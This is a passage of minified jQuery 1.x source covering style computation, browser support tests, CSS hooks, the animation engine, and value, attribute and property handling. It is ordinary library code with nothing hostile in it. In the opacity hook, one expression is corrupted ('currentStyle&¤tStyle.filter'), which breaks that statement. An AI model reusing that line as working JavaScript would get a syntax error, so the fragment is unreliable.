left,rs,rsLeft,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed[name]:undefined;if(ret==null&&style&&style[name]){ret=style[name]}if(rnumnonpx.test(ret)&&!rposition.test(name)){left=style.left;rs=elem.runtimeStyle;rsLeft=rs&&rs.left;if(rsLeft){rs.left=elem.currentStyle.left}style.left=name==="fontSize"?"1em":ret;ret=style.pixelLeft+"px";style.left=left;if(rsLeft){rs.left=rsLeft}}return ret===undefined?ret:ret+""||"auto"}}function addGetHookIf(conditionFn,hookFn){return{get:function(){var condition=conditionFn();if(condition==null){return}if(condition){delete this.get;return}return(this.get=hookFn).apply(this,arguments)}}}(function(){var div,style,a,pixelPositionVal,boxSizingReliableVal,reliableHiddenOffsetsVal,reliableMarginRightVal;div=document.createElement("div");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];style=a&&a.style;if(!style){return}style.cssText="float:left;opacity:.5";support.opacity=style.opacity==="0.5";support.cssFloat=!!style.cssFloat;div.style.backgroundClip="content-box";div.cloneNode(true).style.backgroundClip="";support.clearCloneStyle=div.style.backgroundClip==="content-box";support.boxSizing=style.boxSizing===""||style.MozBoxSizing===""||style.WebkitBoxSizing==="";jQuery.extend(support,{reliableHiddenOffsets:function(){if(reliableHiddenOffsetsVal==null){computeStyleTests()}return reliableHiddenOffsetsVal},boxSizingReliable:function(){if(boxSizingReliableVal==null){computeStyleTests()}return boxSizingReliableVal},pixelPosition:function(){if(pixelPositionVal==null){computeStyleTests()}return pixelPositionVal},reliableMarginRight:function(){if(reliableMarginRightVal==null){computeStyleTests()}return reliableMarginRightVal}});function computeStyleTests(){var div,body,container,contents;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);div.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;"+"box-sizing:border-box;display:block;margin-top:1%;top:1%;"+"border:1px;padding:1px;width:4px;position:absolute";pixelPositionVal=boxSizingReliableVal=false;reliableMarginRightVal=true;if(window.getComputedStyle){pixelPositionVal=(window.getComputedStyle(div,null)||{}).top!=="1%";boxSizingReliableVal=(window.getComputedStyle(div,null)||{width:"4px"}).width==="4px";contents=div.appendChild(document.createElement("div"));contents.style.cssText=div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;"+"box-sizing:content-box;display:block;margin:0;border:0;padding:0";contents.style.marginRight=contents.style.width="0";div.style.width="1px";reliableMarginRightVal=!parseFloat((window.getComputedStyle(contents,null)||{}).marginRight);div.removeChild(contents)}div.innerHTML="<table><tr><td></td><td>t</td></tr></table>";contents=div.getElementsByTagName("td");contents[0].style.cssText="margin:0;border:0;padding:0;display:none";reliableHiddenOffsetsVal=contents[0].offsetHeight===0;if(reliableHiddenOffsetsVal){contents[0].style.display="";contents[1].style.display="none";reliableHiddenOffsetsVal=contents[0].offsetHeight===0}body.removeChild(container)}})();jQuery.swap=function(elem,options,callback,args){var ret,name,old={};for(name in options){old[name]=elem.style[name];elem.style[name]=options[name]}ret=callback.apply(elem,args||[]);for(name in options){elem.style[name]=old[name]}return ret};var ralpha=/alpha\([^)]*\)/i,ropacity=/opacity\s*=\s*([^)]*)/,rdisplayswap=/^(none|table(?!-c[ea]).+)/,rnumsplit=new RegExp("^("+pnum+")(.*)$","i"),rrelNum=new RegExp("^([+-])=("+pnum+")","i"),cssShow={position:"absolute",visibility:"hidden",display:"block"},cssNormalTransform={letterSpacing:"0",fontWeight:"400"},cssPrefixes=["Webkit","O","Moz","ms"];function vendorPropName(style,name){if(name in style){return name}var capName=name.charAt(0).toUpperCase()+name.slice(1),origName=name,i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in style){return name}}return origName}function showHide(elements,show){var display,elem,hidden,values=[],index=0,length=elements.length;for(;index<length;index++){elem=elements[index];if(!elem.style){continue}values[index]=jQuery._data(elem,"olddisplay");display=elem.style.display;if(show){if(!values[index]&&display==="none"){elem.style.display=""}if(elem.style.display===""&&isHidden(elem)){values[index]=jQuery._data(elem,"olddisplay",defaultDisplay(elem.nodeName))}}else{hidden=isHidden(elem);if(display&&display!=="none"||!hidden){jQuery._data(elem,"olddisplay",hidden?display:jQuery.css(elem,"display"))}}}for(index=0;index<length;index++){elem=elements[index];if(!elem.style){continue}if(!show||elem.style.display==="none"||elem.style.display===""){elem.style.display=show?values[index]||"":"none"}}return elements}function setPositiveNumber(elem,value,subtract){var matches=rnumsplit.exec(value);return matches?Math.max(0,matches[1]-(subtract||0))+(matches[2]||"px"):value}function augmentWidthOrHeight(elem,name,extra,isBorderBox,styles){var i=extra===(isBorderBox?"border":"content")?4:name==="width"?1:0,val=0;for(;i<4;i+=2){if(extra==="margin"){val+=jQuery.css(elem,extra+cssExpand[i],true,styles)}if(isBorderBox){if(extra==="content"){val-=jQuery.css(elem,"padding"+cssExpand[i],true,styles)}if(extra!=="margin"){val-=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}else{val+=jQuery.css(elem,"padding"+cssExpand[i],true,styles);if(extra!=="padding"){val+=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}}return val}function getWidthOrHeight(elem,name,extra){var valueIsBorderBox=true,val=name==="width"?elem.offsetWidth:elem.offsetHeight,styles=getStyles(elem),isBorderBox=support.boxSizing&&jQuery.css(elem,"boxSizing",false,styles)==="border-box";if(val<=0||val==null){val=curCSS(elem,name,styles);if(val<0||val==null){val=elem.style[name]}if(rnumnonpx.test(val)){return val}valueIsBorderBox=isBorderBox&&(support.boxSizingReliable()||val===elem.style[name]);val=parseFloat(val)||0}return(val+augmentWidthOrHeight(elem,name,extra||(isBorderBox?"border":"content"),valueIsBorderBox,styles))+"px"}jQuery.extend({cssHooks:{opacity:{get:function(elem,computed){if(computed){var ret=curCSS(elem,"opacity");return ret===""?"1":ret}}}},cssNumber:{"columnCount":true,"fillOpacity":true,"flexGrow":true,"flexShrink":true,"fontWeight":true,"lineHeight":true,"opacity":true,"order":true,"orphans":true,"widows":true,"zIndex":true,"zoom":true},cssProps:{"float":support.cssFloat?"cssFloat":"styleFloat"},style:function(elem,name,value,extra){if(!elem||elem.nodeType===3||elem.nodeType===8||!elem.style){return}var ret,type,hooks,origName=jQuery.camelCase(name),style=elem.style;name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];if(value!==undefined){type=typeof value;if(type==="string"&&(ret=rrelNum.exec(value))){value=(ret[1]+1)*ret[2]+parseFloat(jQuery.css(elem,name));type="number"}if(value==null||value!==value){return}if(type==="number"&&!jQuery.cssNumber[origName]){value+="px"}if(!support.clearCloneStyle&&value===""&&name.indexOf("background")===0){style[name]="inherit"}if(!hooks||!("set"in hooks)||(value=hooks.set(elem,value,extra))!==undefined){try{style[name]=value}catch(e){}}}else{if(hooks&&"get"in hooks&&(ret=hooks.get(elem,false,extra))!==undefined){return ret}return style[name]}},css:function(elem,name,extra,styles){var num,val,hooks,origName=jQuery.camelCase(name);name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(elem.style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];if(hooks&&"get"in hooks){val=hooks.get(elem,true,extra)}if(val===undefined){val=curCSS(elem,name,styles)}if(val==="normal"&&name in cssNormalTransform){val=cssNormalTransform[name]}if(extra===""||extra){num=parseFloat(val);return extra===true||jQuery.isNumeric(num)?num||0:val}return val}});jQuery.each(["height","width"],function(i,name){jQuery.cssHooks[name]={get:function(elem,computed,extra){if(computed){return rdisplayswap.test(jQuery.css(elem,"display"))&&elem.offsetWidth===0?jQuery.swap(elem,cssShow,function(){return getWidthOrHeight(elem,name,extra)}):getWidthOrHeight(elem,name,extra)}},set:function(elem,value,extra){var styles=extra&&getStyles(elem);return setPositiveNumber(elem,value,extra?augmentWidthOrHeight(elem,name,extra,support.boxSizing&&jQuery.css(elem,"boxSizing",false,styles)==="border-box",styles):0)}}});if(!support.opacity){jQuery.cssHooks.opacity={get:function(elem,computed){return ropacity.test((computed&&elem.currentStyle?elem.currentStyle.filter:elem.style.filter)||"")?(0.01*parseFloat(RegExp.$1))+"":computed?"1":""},set:function(elem,value){var style=elem.style,currentStyle=elem.currentStyle,opacity=jQuery.isNumeric(value)?"alpha(opacity="+value*100+")":"",filter=currentStyle&¤tStyle.filter||style.filter||"";style.zoom=1;if((value>=1||value==="")&&jQuery.trim(filter.replace(ralpha,""))===""&&style.removeAttribute){style.removeAttribute("filter");if(value===""||currentStyle&&!currentStyle.filter){return}}style.filter=ralpha.test(filter)?filter.replace(ralpha,opacity):filter+" "+opacity}}}jQuery.cssHooks.marginRight=addGetHookIf(support.reliableMarginRight,function(elem,computed){if(computed){return jQuery.swap(elem,{"display":"inline-block"},curCSS,[elem,"marginRight"])}});jQuery.each({margin:"",padding:"",border:"Width"},function(prefix,suffix){jQuery.cssHooks[prefix+suffix]={expand:function(value){var i=0,expanded={},parts=typeof value==="string"?value.split(" "):[value];for(;i<4;i++){expanded[prefix+cssExpand[i]+suffix]=parts[i]||parts[i-2]||parts[0]}return expanded}};if(!rmargin.test(prefix)){jQuery.cssHooks[prefix+suffix].set=setPositiveNumber}});jQuery.fn.extend({css:function(name,value){return access(this,function(elem,name,value){var styles,len,map={},i=0;if(jQuery.isArray(name)){styles=getStyles(elem);len=name.length;for(;i<len;i++){map[name[i]]=jQuery.css(elem,name[i],false,styles)}return map}return value!==undefined?jQuery.style(elem,name,value):jQuery.css(elem,name)},name,value,arguments.length>1)},show:function(){return showHide(this,true)},hide:function(){return showHide(this)},toggle:function(state){if(typeof state==="boolean"){return state?this.show():this.hide()}return this.each(function(){if(isHidden(this)){jQuery(this).show()}else{jQuery(this).hide()}})}});function Tween(elem,options,prop,end,easing){return new Tween.prototype.init(elem,options,prop,end,easing)}jQuery.Tween=Tween;Tween.prototype={constructor:Tween,init:function(elem,options,prop,end,easing,unit){this.elem=elem;this.prop=prop;this.easing=easing||"swing";this.options=options;this.start=this.now=this.cur();this.end=end;this.unit=unit||(jQuery.cssNumber[prop]?"":"px")},cur:function(){var hooks=Tween.propHooks[this.prop];return hooks&&hooks.get?hooks.get(this):Tween.propHooks._default.get(this)},run:function(percent){var eased,hooks=Tween.propHooks[this.prop];if(this.options.duration){this.pos=eased=jQuery.easing[this.easing](percent,this.options.duration*percent,0,1,this.options.duration)}else{this.pos=eased=percent}this.now=(this.end-this.start)*eased+this.start;if(this.options.step){this.options.step.call(this.elem,this.now,this)}if(hooks&&hooks.set){hooks.set(this)}else{Tween.propHooks._default.set(this)}return this}};Tween.prototype.init.prototype=Tween.prototype;Tween.propHooks={_default:{get:function(tween){var result;if(tween.elem[tween.prop]!=null&&(!tween.elem.style||tween.elem.style[tween.prop]==null)){return tween.elem[tween.prop]}result=jQuery.css(tween.elem,tween.prop,"");return!result||result==="auto"?0:result},set:function(tween){if(jQuery.fx.step[tween.prop]){jQuery.fx.step[tween.prop](tween)}else if(tween.elem.style&&(tween.elem.style[jQuery.cssProps[tween.prop]]!=null||jQuery.cssHooks[tween.prop])){jQuery.style(tween.elem,tween.prop,tween.now+tween.unit)}else{tween.elem[tween.prop]=tween.now}}}};Tween.propHooks.scrollTop=Tween.propHooks.scrollLeft={set:function(tween){if(tween.elem.nodeType&&tween.elem.parentNode){tween.elem[tween.prop]=tween.now}}};jQuery.easing={linear:function(p){return p},swing:function(p){return 0.5-Math.cos(p*Math.PI)/2}};jQuery.fx=Tween.prototype.init;jQuery.fx.step={};var fxNow,timerId,rfxtypes=/^(?:toggle|show|hide)$/,rfxnum=new RegExp("^(?:([+-])=|)("+pnum+")([a-z%]*)$","i"),rrun=/queueHooks$/,animationPrefilters=[defaultPrefilter],tweeners={"*":[function(prop,value){var tween=this.createTween(prop,value),target=tween.cur(),parts=rfxnum.exec(value),unit=parts&&parts[3]||(jQuery.cssNumber[prop]?"":"px"),start=(jQuery.cssNumber[prop]||unit!=="px"&&+target)&&rfxnum.exec(jQuery.css(tween.elem,prop)),scale=1,maxIterations=20;if(start&&start[3]!==unit){unit=unit||start[3];parts=parts||[];start=+target||1;do{scale=scale||".5";start=start/scale;jQuery.style(tween.elem,prop,start+unit)}while(scale!==(scale=tween.cur()/target)&&scale!==1&&--maxIterations)}if(parts){start=tween.start=+start||+target||0;tween.unit=unit;tween.end=parts[1]?start+(parts[1]+1)*parts[2]:+parts[2]}return tween}]};function createFxNow(){setTimeout(function(){fxNow=undefined});return(fxNow=jQuery.now())}function genFx(type,includeWidth){var which,attrs={height:type},i=0;includeWidth=includeWidth?1:0;for(;i<4;i+=2-includeWidth){which=cssExpand[i];attrs["margin"+which]=attrs["padding"+which]=type}if(includeWidth){attrs.opacity=attrs.width=type}return attrs}function createTween(value,prop,animation){var tween,collection=(tweeners[prop]||[]).concat(tweeners["*"]),index=0,length=collection.length;for(;index<length;index++){if((tween=collection[index].call(animation,prop,value))){return tween}}}function defaultPrefilter(elem,props,opts){var prop,value,toggle,tween,hooks,oldfire,display,checkDisplay,anim=this,orig={},style=elem.style,hidden=elem.nodeType&&isHidden(elem),dataShow=jQuery._data(elem,"fxshow");if(!opts.queue){hooks=jQuery._queueHooks(elem,"fx");if(hooks.unqueued==null){hooks.unqueued=0;oldfire=hooks.empty.fire;hooks.empty.fire=function(){if(!hooks.unqueued){oldfire()}}}hooks.unqueued++;anim.always(function(){anim.always(function(){hooks.unqueued--;if(!jQuery.queue(elem,"fx").length){hooks.empty.fire()}})})}if(elem.nodeType===1&&("height"in props||"width"in props)){opts.overflow=[style.overflow,style.overflowX,style.overflowY];display=jQuery.css(elem,"display");checkDisplay=display==="none"?jQuery._data(elem,"olddisplay")||defaultDisplay(elem.nodeName):display;if(checkDisplay==="inline"&&jQuery.css(elem,"float")==="none"){if(!support.inlineBlockNeedsLayout||defaultDisplay(elem.nodeName)==="inline"){style.display="inline-block"}else{style.zoom=1}}}if(opts.overflow){style.overflow="hidden";if(!support.shrinkWrapBlocks()){anim.always(function(){style.overflow=opts.overflow[0];style.overflowX=opts.overflow[1];style.overflowY=opts.overflow[2]})}}for(prop in props){value=props[prop];if(rfxtypes.exec(value)){delete props[prop];toggle=toggle||value==="toggle";if(value===(hidden?"hide":"show")){if(value==="show"&&dataShow&&dataShow[prop]!==undefined){hidden=true}else{continue}}orig[prop]=dataShow&&dataShow[prop]||jQuery.style(elem,prop)}else{display=undefined}}if(!jQuery.isEmptyObject(orig)){if(dataShow){if("hidden"in dataShow){hidden=dataShow.hidden}}else{dataShow=jQuery._data(elem,"fxshow",{})}if(toggle){dataShow.hidden=!hidden}if(hidden){jQuery(elem).show()}else{anim.done(function(){jQuery(elem).hide()})}anim.done(function(){var prop;jQuery._removeData(elem,"fxshow");for(prop in orig){jQuery.style(elem,prop,orig[prop])}});for(prop in orig){tween=createTween(hidden?dataShow[prop]:0,prop,anim);if(!(prop in dataShow)){dataShow[prop]=tween.start;if(hidden){tween.end=tween.start;tween.start=prop==="width"||prop==="height"?1:0}}}}else if((display==="none"?defaultDisplay(elem.nodeName):display)==="inline"){style.display=display}}function propFilter(props,specialEasing){var index,name,easing,value,hooks;for(index in props){name=jQuery.camelCase(index);easing=specialEasing[name];value=props[index];if(jQuery.isArray(value)){easing=value[1];value=props[index]=value[0]}if(index!==name){props[name]=value;delete props[index]}hooks=jQuery.cssHooks[name];if(hooks&&"expand"in hooks){value=hooks.expand(value);delete props[name];for(index in value){if(!(index in props)){props[index]=value[index];specialEasing[index]=easing}}}else{specialEasing[name]=easing}}}function Animation(elem,properties,options){var result,stopped,index=0,length=animationPrefilters.length,deferred=jQuery.Deferred().always(function(){delete tick.elem}),tick=function(){if(stopped){return false}var currentTime=fxNow||createFxNow(),remaining=Math.max(0,animation.startTime+animation.duration-currentTime),temp=remaining/animation.duration||0,percent=1-temp,index=0,length=animation.tweens.length;for(;index<length;index++){animation.tweens[index].run(percent)}deferred.notifyWith(elem,[animation,percent,remaining]);if(percent<1&&length){return remaining}else{deferred.resolveWith(elem,[animation]);return false}},animation=deferred.promise({elem:elem,props:jQuery.extend({},properties),opts:jQuery.extend(true,{specialEasing:{}},options),originalProperties:properties,originalOptions:options,startTime:fxNow||createFxNow(),duration:options.duration,tweens:[],createTween:function(prop,end){var tween=jQuery.Tween(elem,animation.opts,prop,end,animation.opts.specialEasing[prop]||animation.opts.easing);animation.tweens.push(tween);return tween},stop:function(gotoEnd){var index=0,length=gotoEnd?animation.tweens.length:0;if(stopped){return this}stopped=true;for(;index<length;index++){animation.tweens[index].run(1)}if(gotoEnd){deferred.resolveWith(elem,[animation,gotoEnd])}else{deferred.rejectWith(elem,[animation,gotoEnd])}return this}}),props=animation.props;propFilter(props,animation.opts.specialEasing);for(;index<length;index++){result=animationPrefilters[index].call(animation,elem,props,animation.opts);if(result){return result}}jQuery.map(props,createTween,animation);if(jQuery.isFunction(animation.opts.start)){animation.opts.start.call(elem,animation)}jQuery.fx.timer(jQuery.extend(tick,{elem:elem,anim:animation,queue:animation.opts.queue}));return animation.progress(animation.opts.progress).done(animation.opts.done,animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)}jQuery.Animation=jQuery.extend(Animation,{tweener:function(props,callback){if(jQuery.isFunction(props)){callback=props;props=["*"]}else{props=props.split(" ")}var prop,index=0,length=props.length;for(;index<length;index++){prop=props[index];tweeners[prop]=tweeners[prop]||[];tweeners[prop].unshift(callback)}},prefilter:function(callback,prepend){if(prepend){animationPrefilters.unshift(callback)}else{animationPrefilters.push(callback)}}});jQuery.speed=function(speed,easing,fn){var opt=speed&&typeof speed==="object"?jQuery.extend({},speed):{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&!jQuery.isFunction(easing)&&easing};opt.duration=jQuery.fx.off?0:typeof opt.duration==="number"?opt.duration:opt.duration in jQuery.fx.speeds?jQuery.fx.speeds[opt.duration]:jQuery.fx.speeds._default;if(opt.queue==null||opt.queue===true){opt.queue="fx"}opt.old=opt.complete;opt.complete=function(){if(jQuery.isFunction(opt.old)){opt.old.call(this)}if(opt.queue){jQuery.dequeue(this,opt.queue)}};return opt};jQuery.fn.extend({fadeTo:function(speed,to,easing,callback){return this.filter(isHidden).css("opacity",0).show().end().animate({opacity:to},speed,easing,callback)},animate:function(prop,speed,easing,callback){var empty=jQuery.isEmptyObject(prop),optall=jQuery.speed(speed,easing,callback),doAnimation=function(){var anim=Animation(this,jQuery.extend({},prop),optall);if(empty||jQuery._data(this,"finish")){anim.stop(true)}};doAnimation.finish=doAnimation;return empty||optall.queue===false?this.each(doAnimation):this.queue(optall.queue,doAnimation)},stop:function(type,clearQueue,gotoEnd){var stopQueue=function(hooks){var stop=hooks.stop;delete hooks.stop;stop(gotoEnd)};if(typeof type!=="string"){gotoEnd=clearQueue;clearQueue=type;type=undefined}if(clearQueue&&type!==false){this.queue(type||"fx",[])}return this.each(function(){var dequeue=true,index=type!=null&&type+"queueHooks",timers=jQuery.timers,data=jQuery._data(this);if(index){if(data[index]&&data[index].stop){stopQueue(data[index])}}else{for(index in data){if(data[index]&&data[index].stop&&rrun.test(index)){stopQueue(data[index])}}}for(index=timers.length;index--;){if(timers[index].elem===this&&(type==null||timers[index].queue===type)){timers[index].anim.stop(gotoEnd);dequeue=false;timers.splice(index,1)}}if(dequeue||!gotoEnd){jQuery.dequeue(this,type)}})},finish:function(type){if(type!==false){type=type||"fx"}return this.each(function(){var index,data=jQuery._data(this),queue=data[type+"queue"],hooks=data[type+"queueHooks"],timers=jQuery.timers,length=queue?queue.length:0;data.finish=true;jQuery.queue(this,type,[]);if(hooks&&hooks.stop){hooks.stop.call(this,true)}for(index=timers.length;index--;){if(timers[index].elem===this&&timers[index].queue===type){timers[index].anim.stop(true);timers.splice(index,1)}}for(index=0;index<length;index++){if(queue[index]&&queue[index].finish){queue[index].finish.call(this)}}delete data.finish})}});jQuery.each(["toggle","show","hide"],function(i,name){var cssFn=jQuery.fn[name];jQuery.fn[name]=function(speed,easing,callback){return speed==null||typeof speed==="boolean"?cssFn.apply(this,arguments):this.animate(genFx(name,true),speed,easing,callback)}});jQuery.each({slideDown:genFx("show"),slideUp:genFx("hide"),slideToggle:genFx("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(name,props){jQuery.fn[name]=function(speed,easing,callback){return this.animate(props,speed,easing,callback)}});jQuery.timers=[];jQuery.fx.tick=function(){var timer,timers=jQuery.timers,i=0;fxNow=jQuery.now();for(;i<timers.length;i++){timer=timers[i];if(!timer()&&timers[i]===timer){timers.splice(i--,1)}}if(!timers.length){jQuery.fx.stop()}fxNow=undefined};jQuery.fx.timer=function(timer){jQuery.timers.push(timer);if(timer()){jQuery.fx.start()}else{jQuery.timers.pop()}};jQuery.fx.interval=13;jQuery.fx.start=function(){if(!timerId){timerId=setInterval(jQuery.fx.tick,jQuery.fx.interval)}};jQuery.fx.stop=function(){clearInterval(timerId);timerId=null};jQuery.fx.speeds={slow:600,fast:200,_default:400};jQuery.fn.delay=function(time,type){time=jQuery.fx?jQuery.fx.speeds[time]||time:time;type=type||"fx";return this.queue(type,function(next,hooks){var timeout=setTimeout(next,time);hooks.stop=function(){clearTimeout(timeout)}})};(function(){var input,div,select,a,opt;div=document.createElement("div");div.setAttribute("className","t");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];select=document.createElement("select");opt=select.appendChild(document.createElement("option"));input=div.getElementsByTagName("input")[0];a.style.cssText="top:1px";support.getSetAttribute=div.className!=="t";support.style=/top/.test(a.getAttribute("style"));support.hrefNormalized=a.getAttribute("href")==="/a";support.checkOn=!!input.value;support.optSelected=opt.selected;support.enctype=!!document.createElement("form").enctype;select.disabled=true;support.optDisabled=!opt.disabled;input=document.createElement("input");input.setAttribute("value","");support.input=input.getAttribute("value")==="";input.value="t";input.setAttribute("type","radio");support.radioValue=input.value==="t"})();var rreturn=/\r/g;jQuery.fn.extend({val:function(value){var hooks,ret,isFunction,elem=this[0];if(!arguments.length){if(elem){hooks=jQuery.valHooks[elem.type]||jQuery.valHooks[elem.nodeName.toLowerCase()];if(hooks&&"get"in hooks&&(ret=hooks.get(elem,"value"))!==undefined){return ret}ret=elem.value;return typeof ret==="string"?ret.replace(rreturn,""):ret==null?"":ret}return}isFunction=jQuery.isFunction(value);return this.each(function(i){var val;if(this.nodeType!==1){return}if(isFunction){val=value.call(this,i,jQuery(this).val())}else{val=value}if(val==null){val=""}else if(typeof val==="number"){val+=""}else if(jQuery.isArray(val)){val=jQuery.map(val,function(value){return value==null?"":value+""})}hooks=jQuery.valHooks[this.type]||jQuery.valHooks[this.nodeName.toLowerCase()];if(!hooks||!("set"in hooks)||hooks.set(this,val,"value")===undefined){this.value=val}})}});jQuery.extend({valHooks:{option:{get:function(elem){var val=jQuery.find.attr(elem,"value");return val!=null?val:jQuery.trim(jQuery.text(elem))}},select:{get:function(elem){var value,option,options=elem.options,index=elem.selectedIndex,one=elem.type==="select-one"||index<0,values=one?null:[],max=one?index+1:options.length,i=index<0?max:one?index:0;for(;i<max;i++){option=options[i];if((option.selected||i===index)&&(support.optDisabled?!option.disabled:option.getAttribute("disabled")===null)&&(!option.parentNode.disabled||!jQuery.nodeName(option.parentNode,"optgroup"))){value=jQuery(option).val();if(one){return value}values.push(value)}}return values},set:function(elem,value){var optionSet,option,options=elem.options,values=jQuery.makeArray(value),i=options.length;while(i--){option=options[i];if(jQuery.inArray(jQuery.valHooks.option.get(option),values)>=0){try{option.selected=optionSet=true}catch(_){option.scrollHeight}}else{option.selected=false}}if(!optionSet){elem.selectedIndex=-1}return options}}}});jQuery.each(["radio","checkbox"],function(){jQuery.valHooks[this]={set:function(elem,value){if(jQuery.isArray(value)){return(elem.checked=jQuery.inArray(jQuery(elem).val(),value)>=0)}}};if(!support.checkOn){jQuery.valHooks[this].get=function(elem){return elem.getAttribute("value")===null?"on":elem.value}}});var nodeHook,boolHook,attrHandle=jQuery.expr.attrHandle,ruseDefault=/^(?:checked|selected)$/i,getSetAttribute=support.getSetAttribute,getSetInput=support.input;jQuery.fn.extend({attr:function(name,value){return access(this,jQuery.attr,name,value,arguments.length>1)},removeAttr:function(name){return this.each(function(){jQuery.removeAttr(this,name)})}});jQuery.extend({attr:function(elem,name,value){var hooks,ret,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}if(typeof elem.getAttribute===strundefined){return jQuery.prop(elem,name,value)}if(nType!==1||!jQuery.isXMLDoc(elem)){name=name.toLowerCase();hooks=jQuery.attrHooks[name]||(jQuery.expr.match.bool.test(name)?boolHook:nodeHook)}if(value!==undefined){if(value===null){jQuery.removeAttr(elem,name)}else if(hooks&&"set"in hooks&&(ret=hooks.set(elem,value,name))!==undefined){return ret}else{elem.setAttribute(name,value+"");return value}}else if(hooks&&"get"in hooks&&(ret=hooks.get(elem,name))!==null){return ret}else{ret=jQuery.find.attr(elem,name);return ret==null?undefined:ret}},removeAttr:function(elem,value){var name,propName,i=0,attrNames=value&&value.match(rnotwhite);if(attrNames&&elem.nodeType===1){while((name=attrNames[i++])){propName=jQuery.propFix[name]||name;if(jQuery.expr.match.bool.test(name)){if(getSetInput&&getSetAttribute||!ruseDefault.test(name)){elem[propName]=false}else{elem[jQuery.camelCase("default-"+name)]=elem[propName]=false}}else{jQuery.attr(elem,name,"")}elem.removeAttribute(getSetAttribute?name:propName)}}},attrHooks:{type:{set:function(elem,value){if(!support.radioValue&&value==="radio"&&jQuery.nodeName(elem,"input")){var val=elem.value;elem.setAttribute("type",value);if(val){elem.value=val}return value}}}}});boolHook={set:function(elem,value,name){if(value===false){jQuery.removeAttr(elem,name)}else if(getSetInput&&getSetAttribute||!ruseDefault.test(name)){elem.setAttribute(!getSetAttribute&&jQuery.propFix[name]||name,name)}else{elem[jQuery.camelCase("default-"+name)]=elem[name]=true}return name}};jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g),function(i,name){var getter=attrHandle[name]||jQuery.find.attr;attrHandle[name]=getSetInput&&getSetAttribute||!ruseDefault.test(name)?function(elem,name,isXML){var ret,handle;if(!isXML){handle=attrHandle[name];attrHandle[name]=ret;ret=getter(elem,name,isXML)!=null?name.toLowerCase():null;attrHandle[name]=handle}return ret}:function(elem,name,isXML){if(!isXML){return elem[jQuery.camelCase("default-"+name)]?name.toLowerCase():null}}});if(!getSetInput||!getSetAttribute){jQuery.attrHooks.value={set:function(elem,value,name){if(jQuery.nodeName(elem,"input")){elem.defaultValue=value}else{return nodeHook&&nodeHook.set(elem,value,name)}}}}if(!getSetAttribute){nodeHook={set:function(elem,value,name){var ret=elem.getAttributeNode(name);if(!ret){elem.setAttributeNode((ret=elem.ownerDocument.createAttribute(name)))}ret.value=value+="";if(name==="value"||value===elem.getAttribute(name)){return value}}};attrHandle.id=attrHandle.name=attrHandle.coords=function(elem,name,isXML){var ret;if(!isXML){return(ret=elem.getAttributeNode(name))&&ret.value!==""?ret.value:null}};jQuery.valHooks.button={get:function(elem,name){var ret=elem.getAttributeNode(name);if(ret&&ret.specified){return ret.value}},set:nodeHook.set};jQuery.attrHooks.contenteditable={set:function(elem,value,name){nodeHook.set(elem,value===""?false:value,name)}};jQuery.each(["width","height"],function(i,name){jQuery.attrHooks[name]={set:function(elem,value){if(value===""){elem.setAttribute(name,"auto");return value}}}})}if(!support.style){jQuery.attrHooks.style={get:function(elem){return elem.style.cssText||undefined},set:function(elem,value){return(elem.style.cssText=value+"")}}}var rfocusable=/^(?:input|select|textarea|button|object)$/i,rclickable=/^(?:a|area)$/i;jQuery.fn.extend({prop:function(name,value){return access(this,jQuery.prop,name,value,arguments.length>1)},removeProp:function(name){name=jQuery.propFix[name]||name;return this.each(function(){try{this[name]=undefined;delete this[name]}catch(e){}})}});jQuery.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(elem,name,value){var ret,hooks,notxml,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}notxml=nType!==1||!jQuery.isXMLDoc(elem);if(notxml){name=jQuery.propFix[name]||name;hooks=jQuery.propHooks[name]}if(value!==undefined){return hooks&&"set"in hooks&&(ret=hooks.set(elem,value,name))!==undefined?ret:(elem[name]=value)}else{return hooks&&"get"in hooks&&(ret=hooks.get(elem,name))!==null?ret:elem[name]}},propHooks:{tabIndex:{get:function(elem){var tabindex=jQuery.find.attr(elem,"tabindex");return tabindex?parseInt(tabindex,10):rfocusable.test(elem.nodeName)||rclickable.test(elem.nodeName)&&elem.href?0:-1}}}});if(!support.hrefNormalized){jQuery.each(["href","src"],function(i,name){jQuery.propHooks[name]={get:function(elem){return elem.getAttribute(name,4)}}})}if(!support.optSelected){jQuery.propHooks.selected={get:function(elem){var parent=elem.parentNode;if(parent){parent.selectedIndex;if(parent.parentNode){parent.parentNode.selectedIndex}}return null}}}jQuery.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){jQuery.propFix[this.toLowerCase()]=this});if(!support.enctype){jQuery.propFix.enctype="encoding"}var rclass=/[\t\r\n\f]/g;jQuery.fn.extend({addClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).addClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):" 